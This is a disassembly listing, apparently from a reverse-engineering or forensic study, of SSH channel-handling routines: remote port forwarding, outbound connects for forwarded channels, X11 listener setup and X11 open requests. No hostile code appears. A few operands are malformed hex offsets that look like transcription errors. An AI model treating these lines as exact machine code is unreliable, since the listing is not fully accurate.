0805967a   e8 61 d1 ff ff              call    080567e0 <Unknown0157>
0805967f   83 c4 10                    add     $0x10,%esp
08059682   83 3d 74 7e 07 08 63        cmpl    $0x63,0x8077e74   ;[in .data] 0 'x0 x0 x0 x0' ""
08059689   7e 10                       jle     0805969b <Unknown0206+0x97>
0805968b   83 ec 0c                    sub     $0xc,%esp
0805968e   68 c0 26 07 08              push    $0x80726c0    ;[in .rodata] 1851877475 'x63 x68 x61 x6e'
                                                              "channel_request_remote_forwarding: too many forwards"
08059693   e8 c4 68 ff ff              call    0804ff5c <Unknown0044>
08059698   83 c4 10                    add     $0x10,%esp
0805969b   83 ec 0c                    sub     $0xc,%esp
0805969e   53                          push    %ebx
0805969f   e8 94 d8 ff ff              call    08056f38 <Unknown0173>
080596a4   8b 15 74 7e 07 08          mov     0x8077e74,%edx   ;[in .data] 0 'x0 x0 x0 x0' ""
080596aa   8d 0c d5 00 00 00 00       lea     0x0(,%edx,8),%ecx  ;0 'x0 x0 x0 x0' ""
080596b1   42                          inc     %edx
080596b2   89 81 40 be 07 08          mov     %eax,0x807be40(%ecx)   ;[in .bss] 46466 'x82 xb5 x0 x0' ""
080596b8   89 b1 44 be 07 08          mov     %esi,0x807be44(%ecx)   ;[in .bss] 0 'x0 x0 x0 x0' ""
080596be   89 15 74 7e 07 08          mov     %edx,0x8077e74   ;[in .data] 0 'x0 x0 x0 x0' ""
080596c4   8d 65 f4                    lea     0xfffffff4(%ebp),%esp
080596c7   5b                          pop     %ebx
080596c8   5e                          pop     %esi
080596c9   5f                          pop     %edi
080596ca   5d                          pop     %ebp
080596cb   c3                          ret


  ;
  ; >--------------------<  Subroutine # 207 >--------------------<
  ;
080596cc <Unknown0207>:
080596cc   55                          push    %ebp
080596cd   89 e5                       mov     %esp,%ebp
080596cf   57                          push    %edi
080596d0   56                          push    %esi
080596d1   53                          push    %ebx
080596d2   83 ec 0c                    sub     $0xc,%esp
080596d5   e8 2a d0 ff ff              call    08056704 <Unknown0151>
```

```
080596da   83 ec 0c               sub      $0xc,%esp
080596dd   6a 00                  push     $0x0
080596df   89 c6                  mov      %eax,%esi
080596e1   e8 4a d0 ff ff         call     08056730 <Unknown0153>
080596e6   89 c3                  mov      %eax,%ebx
080596e8   e8 17 d0 ff ff         call     08056704 <Unknown0151>
080596ed   89 45 f0               mov      %eax,0xfffffff0(%ebp)
080596f0   89 df                  mov      %ebx,%edi
080596f2   31 c0                  xor      %eax,%eax
080596f4   fc                     cld
080596f5   b9 ff ff ff ff         mov      $0xffffffff,%ecx   ;-1 'xff xff xff xff' ""
080596fa   f2 ae                  repnz scas %es:(%edi),%al
080596fc   f7 d1                  not      %ecx
080596fe   49                     dec      %ecx
080596ff   83 c4 10               add      $0x10,%esp
08059702   81 f9 ff 00 00 00      cmp      $0xff,%ecx   ;255 'xff x0 x0 x0' ""
08059708   76 11                  jbe      0805971b <Unknown0207+0x4f>
0805970a   83 ec 08               sub      $0x8,%esp
0805970d   53                     push     %ebx
0805970e   68 00 27 07 08         push     $0x8072700   ;[in .rodata] 1970365778 'x52 x65 x71 x75' "Requested
                                                        forwarding hostname too long: %.200s."
08059713   e8 c8 d0 ff ff         call     080567e0 <Unknown0157>
08059718   83 c4 10               add      $0x10,%esp
0805971b   8d 86 00 fc ff ff      lea      0xfffffc00(%esi),%eax   ;-1024 'x0 xfc xff xff' ""
08059721   3d ff fb 00 00         cmp      $0xfbff,%eax   ;64511 'xff xfb x0 x0' ""
08059726   76 18                  jbe      08059740 <Unknown0207+0x74>
08059728   8b 55 08               mov      0x8(%ebp),%edx
0805972b   85 d2                  test     %edx,%edx
0805972d   75 11                  jne      08059740 <Unknown0207+0x74>
0805972f   83 ec 08               sub      $0x8,%esp
08059732   56                     push     %esi
08059733   68 40 27 07 08         push     $0x8072740   ;[in .rodata] 1970365778 'x52 x65 x71 x75' "Requested
                                                        forwarding of port %d but user is not root."
08059738   e8 a3 d0 ff ff         call     080567e0 <Unknown0157>
0805973d   83 c4 10               add      $0x10,%esp
08059740   6a 01                  push     $0x1
08059742   ff 75 f0               pushl    0xfffffff0(%ebp)
08059745   53                     push     %ebx
08059746   56                     push     %esi
08059747   e8 34 fd ff ff         call     08059480 <Unknown0205>
0805974c   89 1c 24               mov      %ebx,(%esp,1)
0805974f   e8 bc d7 ff ff         call     08056f10 <Unknown0172>
08059754   8d 65 f4               lea      0xfffffff4(%ebp),%esp
08059757   5b                     pop      %ebx
08059758   5e                     pop      %esi
08059759   5f                     pop      %edi
0805975a   5d                     pop      %ebp
0805975b   c3                     ret


  ;
  ; >--------------------<  Subroutine # 208 >--------------------<
  ;
0805975c <Unknown0208>:
0805975c   55                     push     %ebp
0805975d   89 e5                  mov      %esp,%ebp
0805975f   57                     push     %edi
08059760   56                     push     %esi
08059761   53                     push     %ebx
08059762   83 ec 2c               sub      $0x2c,%esp
08059765   e8 9a cf ff ff         call     08056704 <Unknown0151>
0805976a   83 ec 0c               sub      $0xc,%esp
0805976d   6a 00                  push     $0x0
0805976f   89 45 d4               mov      %eax,0xffffffd4(%ebp)
08059772   e8 b9 cf ff ff         call     08056730 <Unknown0153>
08059777   89 45 cc               mov      %eax,0xffffffcc(%ebp)
0805977a   89 c7                  mov      %eax,%edi
0805977c   fc                     cld
0805977d   31 c0                  xor      %eax,%eax
0805977f   b9 ff ff ff ff         mov      $0xffffffff,%ecx   ;-1 'xff xff xff xff' ""
08059784   f2 ae                  repnz scas %es:(%edi),%al
08059786   f7 d1                  not      %ecx
08059788   49                     dec      %ecx
08059789   83 c4 10               add      $0x10,%esp
0805978c   81 f9 ff 00 00 00      cmp      $0xff,%ecx   ;255 'xff x0 x0 x0' ""
08059792   76 13                  jbe      080597a7 <Unknown0208+0x4b>
08059794   83 ec 08               sub      $0x8,%esp
08059797   ff 75 cc               pushl    0xffffffcc(%ebp)
0805979a   68 00 27 07 08         push     $0x8072700   ;[in .rodata] 1970365778 'x52 x65 x71 x75' "Requested
                                                        forwarding hostname too long: %.200s."
0805979f   e8 3c d0 ff ff         call     080567e0 <Unknown0157>
080597a4   83 c4 10               add      $0x10,%esp
080597a7   e8 58 cf ff ff         call     08056704 <Unknown0151>
080597ac   8b 1d 84 7e 07 08      mov      0x8077e84,%ebx   ;[in .data] 0 'x0 x0 x0 x0' ""
```

```
080597b2   85 db                    test    %ebx,%ebx
080597b4   89 45 d0                 mov     %eax,0xffffffd0(%ebp)
080597b7   74 0f                    je      080597c8 <Unknown0208+0x6c>
080597b9   83 ec 0c                 sub     $0xc,%esp
080597bc   6a 00                    push    $0x0
080597be   e8 6d cf ff ff           call    08056730 <Unknown0153>
080597c3   eb 10                    jmp     080597d5 <Unknown0208+0x79>
080597c5   8d 76 00                 lea     0x0(%esi),%esi
080597c8   83 ec 0c                 sub     $0xc,%esp
080597cb   68 80 27 07 08           push    $0x8072780   ;[in .rodata] 1852534389 'x75 x6e x6b x6e' "unknown
                                                            (remote did not supply name)"
080597d0   e8 63 d7 ff ff           call    08056f38 <Unknown0173>
080597d5   89 45 c8                 mov     %eax,0xffffffc8(%ebp)
080597d8   83 c4 10                 add     $0x10,%esp
080597db   8b 0d 78 7e 07 08        mov     0x8077e78,%ecx   ;[in .data] 0 'x0 x0 x0 x0' ""
080597e1   85 c9                    test    %ecx,%ecx
080597e3   75 57                    jne     0805983c <Unknown0208+0xe0>
080597e5   31 ff                    xor     %edi,%edi
080597e7   8b 35 74 7e 07 08        mov     0x8077e74,%esi   ;[in .data] 0 'x0 x0 x0 x0' ""
080597ed   39 f7                    cmp     %esi,%edi
080597ef   7d 2e                    jge     0805981f <Unknown0208+0xc3>
080597f1   31 db                    xor     %ebx,%ebx
080597f3   90                       nop
080597f4   8b 4d d0                 mov     0xffffffd0(%ebp),%ecx
080597f7   39 8b 44 be 07 08        cmp     %ecx,0x807be44(%ebx)   ;[in .bss] 0 'x0 x0 x0 x0' ""
080597fd   75 18                    jne     08059817 <Unknown0208+0xbb>
080597ff   83 ec 08                 sub     $0x8,%esp
08059802   ff 75 cc                 pushl   0xffffffcc(%ebp)
08059805   ff b3 40 be 07 08        pushl   0x807be40(%ebx)   ;[in .bss] 46466 'x82 xb5 x0 x0' ""
0805980b   e8 bc 04 ff ff           call    08049ccc <strcmp>
08059810   83 c4 10                 add     $0x10,%esp
08059813   85 c0                    test    %eax,%eax
08059815   74 08                    je      0805981f <Unknown0208+0xc3>
08059817   47                       inc     %edi
08059818   83 c3 08                 add     $0x8,%ebx
0805981b   39 f7                    cmp     %esi,%edi
0805981d   7c d5                    jl      080597f4 <Unknown0208+0x98>
0805981f   39 f7                    cmp     %esi,%edi
08059821   7c 19                    jl      0805983c <Unknown0208+0xe0>
08059823   52                       push    %edx
08059824   ff 75 d0                 pushl   0xffffffd0(%ebp)
08059827   ff 75 cc                 pushl   0xffffffcc(%ebp)
0805982a   68 c0 27 07 08           push    $0x80727c0   ;[in .rodata] 1701012818 'x52 x65 x63 x65' "Received
                                                            request to connect to %.100s:%d, but the request was
                                                            denied."
0805982f   e8 e8 63 ff ff           call    0804fc1c <Unknown0036>
08059834   83 c4 10                 add     $0x10,%esp
08059837   e9 74 01 00 00           jmp     080599b0 <Unknown0208+0x254>   ;372 'x74 x1 x0 x0' "t"
0805983c   83 ec 0c                 sub     $0xc,%esp
0805983f   ff 75 cc                 pushl   0xffffffcc(%ebp)
08059842   c7 45 d8 00 00 00 00     movl    $0x0,0xffffffd8(%ebp)   ;0 'x0 x0 x0 x0' ""
08059849   c7 45 dc 00 00 00 00     movl    $0x0,0xffffffdc(%ebp)   ;0 'x0 x0 x0 x0' ""
08059850   c7 45 e0 00 00 00 00     movl    $0x0,0xffffffe0(%ebp)   ;0 'x0 x0 x0 x0' ""
08059857   c7 45 e4 00 00 00 00     movl    $0x0,0xffffffe4(%ebp)   ;0 'x0 x0 x0 x0' ""
0805985e   e8 e9 08 ff ff           call    0804a14c <inet_addr>
08059863   89 45 dc                 mov     %eax,0xffffffdc(%ebp)
08059866   83 c4 10                 add     $0x10,%esp
08059869   40                       inc     %eax
0805986a   74 08                    je      08059874 <Unknown0208+0x118>
0805986c   66 c7 45 d8 02 00        movw    $0x2,0xffffffd8(%ebp)
08059872   eb 49                    jmp     080598bd <Unknown0208+0x161>
08059874   83 ec 0c                 sub     $0xc,%esp
08059877   ff 75 cc                 pushl   0xffffffcc(%ebp)
0805987a   e8 9d 0a ff ff           call    0804a31c <gethostbyname>
0805987f   89 c2                    mov     %eax,%edx
08059881   83 c4 10                 add     $0x10,%esp
08059884   85 d2                    test    %edx,%edx
08059886   75 10                    jne     08059898 <Unknown0208+0x13c>
08059888   83 ec 08                 sub     $0x8,%esp
0805988b   ff 75 cc                 pushl   0xffffffcc(%ebp)
0805988e   68 06 28 07 08           push    $0x8072806   ;[in .rodata] 808529445 'x25 x2e x31 x30' "%.100s:
                                                            unknown host."
08059893   eb 63                    jmp     080598f8 <Unknown0208+0x19c>
08059895   8d 76 00                 lea     0x0(%esi),%esi
08059898   8b 42 10                 mov     0x10(%edx),%eax
0805989b   8b 08                    mov     (%eax),%ecx
0805989d   85 c9                    test    %ecx,%ecx
0805989f   75 0f                    jne     080598b0 <Unknown0208+0x154>
080598a1   83 ec 08                 sub     $0x8,%esp
080598a4   ff 75 cc                 pushl   0xffffffcc(%ebp)
080598a7   68 20 28 07 08           push    $0x8072820   ;[in .rodata] 808529445 'x25 x2e x31 x30' "%.100s: host
                                                            has no IP address."
080598ac   eb 4a                    jmp     080598f8 <Unknown0208+0x19c>
080598ae   89 f6                    mov     %esi,%esi
```

```
080598b0   66 8b 42 08           mov      0x8(%edx),%ax
080598b4   66 89 45 d8           mov      %ax,0xffffffd8(%ebp)
080598b8   8b 01                 mov      (%ecx),%eax
080598ba   89 45 dc              mov      %eax,0xffffffdc(%ebp)
080598bd   8b 45 d0              mov      0xffffffd0(%ebp),%eax
080598c0   66 c1 c8 08           ror      $0x8,%ax
080598c4   66 89 45 da           mov      %ax,0xffffffda(%ebp)
080598c8   50                    push     %eax
080598c9   6a 00                 push     $0x0
080598cb   6a 01                 push     $0x1
080598cd   0f b7 45 d8           movzwl   0xffffffd8(%ebp),%eax
080598d1   50                    push     %eax
080598d2   e8 95 0b ff ff        call     0804a46c <socket>
080598d7   89 c3                 mov      %eax,%ebx
080598d9   83 c4 10              add      $0x10,%esp
080598dc   85 db                 test     %ebx,%ebx
080598de   79 28                 jns      08059908 <Unknown0208+0x1ac>
080598e0   83 ec 10              sub      $0x10,%esp
080598e3   e8 54 05 ff ff        call     08049e3c <__errno_location>
080598e8   5f                    pop      %edi
080598e9   ff 30                 pushl    (%eax)
080598eb   e8 fc 04 ff ff        call     08049dec <strerror>
080598f0   5b                    pop      %ebx
080598f1   5e                    pop      %esi
080598f2   50                    push     %eax
080598f3   68 e8 25 07 08        push     $0x80725e8  ;[in .rodata] 1801678707 'x73 x6f x63 x6b' "socket:
                                                        %.100s"
080598f8   e8 0b 65 ff ff        call     0804fe08 <Unknown0040>
080598fd   83 c4 10              add      $0x10,%esp
08059900   e9 ab 00 00 00        jmp      080599b0 <Unknown0208+0x254>  ;171 'xab x0 x0 x0' ""
08059905   8d 76 00              lea      0x0(%esi),%esi
08059908   51                    push     %ecx
08059909   6a 10                 push     $0x10
0805990b   8d 45 d8              lea      0xffffffd8(%ebp),%eax
0805990e   50                    push     %eax
0805990f   53                    push     %ebx
08059910   e8 a7 0a ff ff        call     0804a3bc <connect>
08059915   83 c4 10              add      $0x10,%esp
08059918   85 c0                 test     %eax,%eax
0805991a   79 34                 jns      08059950 <Unknown0208+0x1f4>
0805991c   83 ec 10              sub      $0x10,%esp
0805991f   e8 18 05 ff ff        call     08049e3c <__errno_location>
08059924   5a                    pop      %edx
08059925   ff 30                 pushl    (%eax)
08059927   e8 c0 04 ff ff        call     08049dec <strerror>
0805992c   83 c4 10              add      $0x10,%esp
0805992f   50                    push     %eax
08059930   ff 75 d0              pushl    0xffffffd0(%ebp)
08059933   ff 75 cc              pushl    0xffffffcc(%ebp)
08059936   68 40 28 07 08        push     $0x8072840  ;[in .rodata] 1852731235 'x63 x6f x6e x6e' "connect
                                                        %.100s:%d: %.100s"
0805993b   e8 c8 64 ff ff        call     0804fe08 <Unknown0040>
08059940   89 1c 24              mov      %ebx,(%esp,1)
08059943   e8 94 03 ff ff        call     08049cdc <close>
08059948   83 c4 10              add      $0x10,%esp
0805994b   eb 63                 jmp      080599b0 <Unknown0208+0x254>
0805994d   8d 76 00              lea      0x0(%esi),%esi
08059950   50                    push     %eax
08059951   68 00 08 00 00        push     $0x800  ;2048 'x0 x8 x0 x0' ""
08059956   6a 04                 push     $0x4
08059958   53                    push     %ebx
08059959   e8 ce 08 ff ff        call     0804a22c <fcntl>
0805995e   83 c4 0c              add      $0xc,%esp
08059961   ff 75 c8              pushl    0xffffffc8(%ebp)
08059964   53                    push     %ebx
08059965   6a 04                 push     $0x4
08059967   e8 00 e6 ff ff        call     08057f6c <Unknown0180>
0805996c   89 c3                 mov      %eax,%ebx
0805996e   c1 e0 05              shl      $0x5,%eax
08059971   01 d8                 add      %ebx,%eax
08059973   8b 15 48 7e 07 08     mov      0x8077e48,%edx  ;[in .data] 0 'x0 x0 x0 x0' ""
08059979   8d 04 43              lea      (%ebx,%eax,2),%eax
0805997c   8b 4d d4              mov      0xffffffd4(%ebp),%ecx
0805997f   89 4c 82 08           mov      %ecx,0x8(%edx,%eax,4)
08059983   c7 04 24 15 00 00 00  movl     $0x15,(%esp,1)  ;21 'x15 x0 x0 x0' ""
0805998a   e8 85 c6 ff ff        call     08056014 <Unknown0138>
0805998f   5f                    pop      %edi
08059990   ff 75 d4              pushl    0xffffffd4(%ebp)
08059993   e8 dc c6 ff ff        call     08056074 <Unknown0141>
08059998   89 1c 24              mov      %ebx,(%esp,1)
0805999b   e8 d4 c6 ff ff        call     08056074 <Unknown0141>
080599a0   e8 17 c7 ff ff        call     080560bc <Unknown0144>
080599a5   5e                    pop      %esi
080599a6   ff 75 cc              pushl    0xffffffcc(%ebp)
```

```
080599a9   e8 62 d5 ff ff         call    08056f10 <Unknown0172>
080599ae   eb 2e                  jmp     080599de <Unknown0208+0x282>
080599b0   83 ec 0c               sub     $0xc,%esp
080599b3   ff 75 cc               pushl   0xffffffcc(%ebp)
080599b6   e8 55 d5 ff ff         call    08056f10 <Unknown0172>
080599bb   5b                     pop     %ebx
080599bc   ff 75 c8               pushl   0xffffffc8(%ebp)
080599bf   e8 4c d5 ff ff         call    08056f10 <Unknown0172>
080599c4   c7 04 24 16 00 00 00   movl    $0x16,(%esp,1)   ;22 'x16 x0 x0 x0' ""
080599cb   e8 44 c6 ff ff         call    08056014 <Unknown0138>
080599d0   59                     pop     %ecx
080599d1   ff 75 d4               pushl   0xffffffd4(%ebp)
080599d4   e8 9b c6 ff ff         call    08056074 <Unknown0141>
080599d9   e8 de c6 ff ff         call    080560bc <Unknown0144>
080599de   8d 65 f4               lea     0xfffffff4(%ebp),%esp
080599e1   5b                     pop     %ebx
080599e2   5e                     pop     %esi
080599e3   5f                     pop     %edi
080599e4   5d                     pop     %ebp
080599e5   c3                     ret
080599e6   89 f6                  mov     %esi,%esi


  ;
  ; >--------------------<  Subroutine # 209 >--------------------<
  ;
080599e8 <Unknown0209>:
080599e8   55                     push    %ebp
080599e9   89 e5                  mov     %esp,%ebp
080599eb   57                     push    %edi
080599ec   56                     push    %esi
080599ed   53                     push    %ebx
080599ee   8b 3d 9c db 07 08      mov     0x807db9c,%edi   ;[in .bss] 0 'x0 x0 x0 x0' ""
080599f4   81 ec 2c 03 00 00      sub     $0x32c,%esp   ;812 'x2c x3 x0 x0' ","
080599fa   81 ff e7 03 00 00      cmp     $0x3e7,%edi   ;999 'xe7 x3 x0 x0' ""
08059a00   0f 8f b2 00 00 00      jg      08059ab8 <Unknown0209+0xd0>   ;178 'xb2 x0 x0 x0' ""
08059a06   89 f6                  mov     %esi,%esi
08059a08   8d 9f 70 17 00 00      lea     0x1770(%edi),%ebx   ;6000 'x70 x17 x0 x0' "p"
08059a0e   c7 45 d8 00 00 00 00   movl    $0x0,0xffffffd8(%ebp)   ;0 'x0 x0 x0 x0' ""
08059a15   c7 45 e0 00 00 00 00   movl    $0x0,0xffffffe0(%ebp)   ;0 'x0 x0 x0 x0' ""
08059a1c   c7 45 e4 00 00 00 00   movl    $0x0,0xffffffe4(%ebp)   ;0 'x0 x0 x0 x0' ""
08059a23   66 c7 45 d8 02 00      movw    $0x2,0xffffffd8(%ebp)
08059a29   c7 45 dc 00 00 00 00   movl    $0x0,0xffffffdc(%ebp)   ;0 'x0 x0 x0 x0' ""
08059a30   89 d8                  mov     %ebx,%eax
08059a32   66 c1 c8 08            ror     $0x8,%ax
08059a36   52                     push    %edx
08059a37   6a 00                  push    $0x0
08059a39   6a 01                  push    $0x1
08059a3b   6a 02                  push    $0x2
08059a3d   66 89 45 da            mov     %ax,0xffffffda(%ebp)
08059a41   e8 26 0a ff ff         call    0804a46c <socket>
08059a46   89 c6                  mov     %eax,%esi
08059a48   83 c4 10               add     $0x10,%esp
08059a4b   85 f6                  test    %esi,%esi
08059a4d   0f 88 c1 00 00 00      js      08059b14 <Unknown0209+0x12c>   ;193 'xc1 x0 x0 x0' ""
08059a53   50                     push    %eax
08059a54   68 00 08 00 00         push    $0x800   ;2048 'x0 x8 x0 x0' ""
08059a59   6a 04                  push    $0x4
08059a5b   56                     push    %esi
08059a5c   e8 cb 07 ff ff         call    0804a22c <fcntl>
08059a61   83 c4 0c               add     $0xc,%esp
08059a64   6a 10                  push    $0x10
08059a66   8d 45 d8               lea     0xffffffd8(%ebp),%eax
08059a69   50                     push    %eax
08059a6a   56                     push    %esi
08059a6b   e8 8c 07 ff ff         call    0804a1fc <bind>
08059a70   83 c4 10               add     $0x10,%esp
08059a73   85 c0                  test    %eax,%eax
08059a75   79 41                  jns     08059ab8 <Unknown0209+0xd0>
08059a77   83 ec 10               sub     $0x10,%esp
08059a7a   e8 bd 03 ff ff         call    08049e3c <__errno_location>
08059a7f   59                     pop     %ecx
08059a80   ff 30                  pushl   (%eax)
08059a82   e8 65 03 ff ff         call    08049dec <strerror>
08059a87   83 c4 0c               add     $0xc,%esp
08059a8a   50                     push    %eax
08059a8b   53                     push    %ebx
08059a8c   68 5a 28 07 08         push    $0x807285a   ;[in .rodata] 1684957538 'x62 x69 x6e x64' "bind port
                                                        %d: %.100s"
08059a91   e8 ea 62 ff ff         call    0804fd80 <Unknown0039>
08059a96   58                     pop     %eax
08059a97   5a                     pop     %edx
08059a98   6a 02                  push    $0x2
08059a9a   56                     push    %esi
```

```
08059a9b  e8 1c 04 ff ff        call    08049ebc <shutdown>
08059aa0  89 34 24              mov     %esi,(%esp,1)
08059aa3  47                    inc     %edi
08059aa4  e8 33 02 ff ff        call    08049cdc <close>
08059aa9  83 c4 10              add     $0x10,%esp
08059aac  81 ff e7 03 00 00     cmp     $0x3e7,%edi   ;999 'xe7 x3 x0 x0' ""
08059ab2  0f 8e 50 ff ff ff     jle     08059a08 <Unknown0209+0x20>   ;-176 'x50 xff xff xff' "P"
08059ab8  81 ff e7 03 00 00     cmp     $0x3e7,%edi   ;999 'xe7 x3 x0 x0' ""
08059abe  7e 0c                 jle     08059acc <Unknown0209+0xe4>
08059ac0  83 ec 0c              sub     $0xc,%esp
08059ac3  68 80 28 07 08        push    $0x8072880   ;[in .rodata] 1818845510 'x46 x61 x69 x6c' "Failed to
                                                       allocate internet-domain X11 display socket."
08059ac8  eb 62                 jmp     08059b2c <Unknown0209+0x144>
08059aca  89 f6                 mov     %esi,%esi
08059acc  83 ec 08              sub     $0x8,%esp
08059acf  6a 05                 push    $0x5
08059ad1  56                    push    %esi
08059ad2  e8 25 04 ff ff        call    08049efc <listen>
08059ad7  83 c4 10              add     $0x10,%esp
08059ada  85 c0                 test    %eax,%eax
08059adc  79 5a                 jns     08059b38 <Unknown0209+0x150>
08059ade  83 ec 10              sub     $0x10,%esp
08059ae1  e8 56 03 ff ff        call    08049e3c <__errno_location>
08059ae6  5b                    pop     %ebx
08059ae7  ff 30                 pushl   (%eax)
08059ae9  e8 fe 02 ff ff        call    08049dec <strerror>
08059aee  5a                    pop     %edx
08059aef  59                    pop     %ecx
08059af0  50                    push    %eax
08059af1  68 0e 26 07 08        push    $0x807260e   ;[in .rodata] 1953720684 'x6c x69 x73 x74' "listen:
                                                       %.100s"
08059af6  e8 0d 63 ff ff        call    0804fe08 <Unknown0040>
08059afb  5f                    pop     %edi
08059afc  58                    pop     %eax
08059afd  6a 02                 push    $0x2
08059aff  56                    push    %esi
08059b00  e8 b7 03 ff ff        call    08049ebc <shutdown>
08059b05  89 34 24              mov     %esi,(%esp,1)
08059b08  e8 cf 01 ff ff        call    08049cdc <close>
08059b0d  31 c0                 xor     %eax,%eax
08059b0f  e9 9e 00 00 00        jmp     08059bb2 <Unknown0209+0x1ca>   ;158 'x9e x0 x0 x0' ""
08059b14  83 ec 10              sub     $0x10,%esp
08059b17  e8 20 03 ff ff        call    08049e3c <__errno_location>
08059b1c  5e                    pop     %esi
08059b1d  ff 30                 pushl   (%eax)
08059b1f  e8 c8 02 ff ff        call    08049dec <strerror>
08059b24  59                    pop     %ecx
08059b25  5b                    pop     %ebx
08059b26  50                    push    %eax
08059b27  68 e8 25 07 08        push    $0x80725e8   ;[in .rodata] 1801678707 'x73 x6f x63 x6b' "socket:
                                                       %.100s"
08059b2c  e8 d7 62 ff ff        call    0804fe08 <Unknown0040>
08059b31  31 c0                 xor     %eax,%eax
08059b33  eb 7d                 jmp     08059bb2 <Unknown0209+0x1ca>
08059b35  8d 76 00              lea     0x0(%esi),%esi
08059b38  83 ec 08              sub     $0x8,%esp
08059b3b  68 01 01 00 00        push    $0x101   ;257 'x1 x1 x0 x0' ""
08059b40  8d 9d c8 fc ff ff     lea     0xffffffcc8(%ebp),%ebx   ;-824 'xc8 xfc xff xff' ""
08059b46  53                    push    %ebx
08059b47  e8 a0 07 ff ff        call    0804a2ec <gethostname>
08059b4c  83 c4 10              add     $0x10,%esp
08059b4f  85 c0                 test    %eax,%eax
08059b51  79 20                 jns     08059b73 <Unknown0209+0x18b>
08059b53  83 ec 10              sub     $0x10,%esp
08059b56  e8 e1 02 ff ff        call    08049e3c <__errno_location>
08059b5b  5a                    pop     %edx
08059b5c  ff 30                 pushl   (%eax)
08059b5e  e8 89 02 ff ff        call    08049dec <strerror>
08059b63  5a                    pop     %edx
08059b64  59                    pop     %ecx
08059b65  50                    push    %eax
08059b66  68 b7 28 07 08        push    $0x80728b7   ;[in .rodata] 1752458599 'x67 x65 x74 x68'
                                                       "gethostname: %.100s"
08059b6b  e8 ec 63 ff ff        call    0804ff5c <Unknown0044>
08059b70  83 c4 10              add     $0x10,%esp
08059b73  83 ec 08              sub     $0x8,%esp
08059b76  ff 75 08              pushl   0x8(%ebp)
08059b79  57                    push    %edi
08059b7a  53                    push    %ebx
08059b7b  68 cb 28 07 08        push    $0x80728cb   ;[in .rodata] 808726053 'x25 x2e x34 x30'
                                                       "%.400s:%d.%d"
08059b80  68 00 02 00 00        push    $0x200   ;512 'x0 x2 x0 x0' ""
08059b85  8d 9d d8 fd ff ff     lea     0xffffffdd8(%ebp),%ebx   ;-552 'xd8 xfd xff xff' ""
08059b8b  53                    push    %ebx
```

```
08059b8c  e8 4b 07 ff ff        call    0804a2dc <snprintf>
08059b91  83 c4 14              add     $0x14,%esp
08059b94  68 d8 28 07 08        push    $0x80728d8   ;[in .rodata] 540094808 'x58 x31 x31 x20' "X11 inet
                                                                    listener"
08059b99  e8 9a d3 ff ff        call    08056f38 <Unknown0173>
08059b9e  83 c4 0c              add     $0xc,%esp
08059ba1  50                    push    %eax
08059ba2  56                    push    %esi
08059ba3  6a 01                 push    $0x1
08059ba5  e8 c2 e3 ff ff        call    08057f6c <Unknown0180>
08059baa  89 1c 24              mov     %ebx,(%esp,1)
08059bad  e8 86 d3 ff ff        call    08056f38 <Unknown0173>
08059bb2  8d 65 f4              lea     0xfffffff4(%ebp),%esp
08059bb5  5b                    pop     %ebx
08059bb6  5e                    pop     %esi
08059bb7  5f                    pop     %edi
08059bb8  5d                    pop     %ebp
08059bb9  c3                    ret
08059bba  89 f6                 mov     %esi,%esi


  ;
  ; >---------------------<  Subroutine # 210 >----------------------<
  ;
08059bbc <Unknown0210>:
08059bbc  55                    push    %ebp
08059bbd  89 e5                 mov     %esp,%ebp
08059bbf  57                    push    %edi
08059bc0  56                    push    %esi
08059bc1  53                    push    %ebx
08059bc2  81 ec fc 01 00 00     sub     $0x1fc,%esp  ;508 'xfc x1 x0 x0' ""
08059bc8  e8 37 cb ff ff        call    08056704 <Unknown0151>
08059bcd  8b 35 84 7e 07 08     mov     0x8077e84,%esi   ;[in .data] 0 'x0 x0 x0 x0' ""
08059bd3  85 f6                 test    %esi,%esi
08059bd5  89 85 00 fe ff ff     mov     %eax,0xfffffe00(%ebp)   ;-512 'x0 xfe xff xff' ""
08059bdb  74 0f                 je      08059bec <Unknown0210+0x30>
08059bdd  83 ec 0c              sub     $0xc,%esp
08059be0  6a 00                 push    $0x0
08059be2  e8 49 cb ff ff        call    08056730 <Unknown0153>
08059be7  eb 10                 jmp     08059bf9 <Unknown0210+0x3d>
08059be9  8d 76 00              lea     0x0(%esi),%esi
08059bec  83 ec 0c              sub     $0xc,%esp
08059bef  68 80 27 07 08        push    $0x8072780   ;[in .rodata] 1852534389 'x75 x6e x6b x6e' "unknown
                                                                  (remote did not supply name)"
08059bf4  e8 3f d3 ff ff        call    08056f38 <Unknown0173>
08059bf9  89 c7                 mov     %eax,%edi
08059bfb  83 c4 10              add     $0x10,%esp
08059bfe  83 ec 0c              sub     $0xc,%esp
08059c01  68 ea 28 07 08        push    $0x80728ea   ;[in .rodata] 1701012818 'x52 x65 x63 x65' "Received
                                                                  X11 open request."
08059c06  e8 75 61 ff ff        call    0804fd80 <Unknown0039>
08059c0b  8b 1d 7c 7e 07 08     mov     0x8077e7c,%ebx   ;[in .data] 0 'x0 x0 x0 x0' ""
08059c11  83 c4 10              add     $0x10,%esp
08059c14  85 db                 test    %ebx,%ebx
08059c16  75 1c                 jne     08059c34 <Unknown0210+0x78>
08059c18  83 ec 0c              sub     $0xc,%esp
08059c1b  68 20 29 07 08        push    $0x8072920   ;[in .rodata] 1852989783 'x57 x61 x72 x6e' "Warning:
                                                                  Server attempted X11 forwarding without client request"
08059c20  e8 e3 61 ff ff        call    0804fe08 <Unknown0040>
08059c25  c7 04 24 60 29 07 08  movl    $0x8072960,(%esp,1)   ;[in .rodata] 1852989783 'x57 x61 x72 x6e'
                                                                  "Warning: This is a probable break-in attempt
                                                                  (compromised server?)"
08059c2c  e9 97 02 00 00        jmp     08059ec8 <Unknown0210+0x30c>   ;663 'x97 x2 x0 x0' ""
08059c31  8d 76 00              lea     0x0(%esi),%esi
08059c34  83 ec 0c              sub     $0xc,%esp
08059c37  68 a3 29 07 08        push    $0x80729a3   ;[in .rodata] 1347635524 'x44 x49 x53 x50' "DISPLAY"
08059c3c  e8 db 00 ff ff        call    08049d1c <getenv>
08059c41  89 c3                 mov     %eax,%ebx
08059c43  83 c4 10              add     $0x10,%esp
08059c46  85 db                 test    %ebx,%ebx
08059c48  75 0e                 jne     08059c58 <Unknown0210+0x9c>
08059c4a  83 ec 0c              sub     $0xc,%esp
08059c4d  68 ab 29 07 08        push    $0x80729ab   ;[in .rodata] 1347635524 'x44 x49 x53 x50' "DISPLAY not
                                                                  set."
08059c52  e9 71 02 00 00        jmp     08059ec8 <Unknown0210+0x30c>   ;625 'x71 x2 x0 x0' "q"
08059c57  90                    nop
08059c58  51                    push    %ecx
08059c59  6a 05                 push    $0x5
